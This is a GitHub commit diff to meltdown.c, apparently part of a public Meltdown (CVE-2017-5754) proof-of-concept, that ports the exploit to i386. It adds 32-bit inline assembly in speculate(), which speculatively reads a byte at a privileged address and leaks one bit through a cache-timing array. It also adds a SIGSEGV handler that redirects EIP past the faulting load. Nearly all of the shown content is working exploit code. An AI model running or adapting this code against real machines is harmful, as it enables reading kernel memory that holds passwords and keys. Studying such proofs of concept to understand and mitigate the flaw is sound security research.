Skip to content

Commit 5410580

Browse files
committed
try at i386 support
Signed-off-by: Pavel Boldin <boldin.pavel@gmail.com>
1 parent c99f428 commit 5410580

File tree

1 file changed

+34
-0
lines changed

1 file changed

+34
-0
lines changed

meltdown.c

+34
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,10 @@
1717
# define HAVE_RDTSCP 1
1818
#endif
1919

20+
#if !(defined(__x86_64__) || defined(__i386__))
21+
# error "Only x86-64 and i386 are supported at the moment"
22+
#endif
23+
2024

2125
#define TARGET_OFFSET 9
2226
#define TARGET_SIZE (1 << TARGET_OFFSET)
@@ -38,6 +42,7 @@ static void __attribute__((noinline))
3842
speculate(unsigned long addr, char bit_)
3943
{
4044
register char bit asm ("cl") = bit_;
45+
#ifdef __x86_64__
4146
asm volatile (
4247
"lea %[target], %%rbx\n\t"
4348
"1:\n\t"
@@ -61,6 +66,31 @@ speculate(unsigned long addr, char bit_)
6166
[addr] "r" (addr),
6267
[bit] "r" (bit) : "rax", "rbx"
6368
);
69+
#else /* ifdef __x86_64__ */
70+
asm volatile (
71+
"lea %[target], %%ebx\n\t"
72+
"1:\n\t"
73+
74+
".rept 300\n\t"
75+
"add $0x141, %%eax\n\t"
76+
".endr\n\t"
77+
78+
"movb (%[addr]), %%al\n\t"
79+
"ror %[bit], %%eax\n\t"
80+
"and $1, %%eax\n\t"
81+
"jz 1b\n\t"
82+
83+
"shl $9, %%eax\n\t"
84+
"movl (%%ebx, %%eax, 1), %%ebx\n"
85+
86+
"stopspeculate: \n\t"
87+
"nop\n\t"
88+
:
89+
: [target] "m" (target_array),
90+
[addr] "r" (addr),
91+
[bit] "r" (bit) : "rax", "rbx"
92+
);
93+
#endif
6494
}
6595

6696
static inline int
@@ -103,7 +133,11 @@ void check(void)
103133
void sigsegv(int sig, siginfo_t *siginfo, void *context)
104134
{
105135
ucontext_t *ucontext = context;
136+
#ifdef __x86_64__
106137
ucontext->uc_mcontext.gregs[REG_RIP] = (unsigned long)stopspeculate;
138+
#else
139+
ucontext->uc_mcontext.gregs[REG_EIP] = (unsigned long)stopspeculate;
140+
#endif
107141
return;
108142
}
109143

0 commit comments

Comments
 (0)